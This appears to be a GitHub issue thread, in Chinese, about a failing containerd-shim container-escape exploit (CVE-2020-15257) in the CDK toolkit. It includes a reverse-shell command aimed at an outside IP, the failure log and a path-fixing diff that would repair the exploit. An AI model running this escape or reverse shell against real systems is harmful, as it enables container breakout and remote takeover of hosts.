CDK v1.5.4 EXP 出错： /pkg/exploit/escaping/containerd_shim_pwn.go

[neargle]

来自微信网友反馈：

root@ubuntu-attack:/tmp# ./cdk run shim-pwn reverse 192.168.202.128 81
2024/12/22 07:13:52 trying to spawn shell to 192.168.202.128:81
2024/12/22 07:13:52 try socket: @/containerd-shim/moby/3925849af0bf88543b55ca09923c29636e69716b2cbd309721ad83baa9299eac/shim.sock
2024/12/22 07:13:52 fail to connect unix socket /containerd-shim/moby/3925849af0bf88543b55ca09923c29636e69716b2cbd309721ad83baa9299eac/shim.sock:
dial unix /containerd-shim/moby/3925849af0bf88543b55ca09923c29636e69716b2cbd309721ad83baa9299eac/shim.sock: connect: connection refused
2024/12/22 07:13:52 exploit failed.

[neargle]

核心问题应该是：

-       absPath := GetDockerAbsPath()
-       absPath = strings.TrimSuffix(absPath, "/merged")
-       dockerAbsPath := filepath.Join(absPath, "merged", localBundlePath)
+       dockerAbsPath := GetDockerAbsPath() + "/merged" + localBundlePath

[neargle]

/~https://github.com/Metarget/metarget/archive/refs/heads/master.zip 看起来缺乏维护了，会报错

cnv install cve-2020-15257

[neargle]

先加一个 log，以便再发现的问题的时候可以 debug。留个 TODO，这个 EXP 需要再一次 review。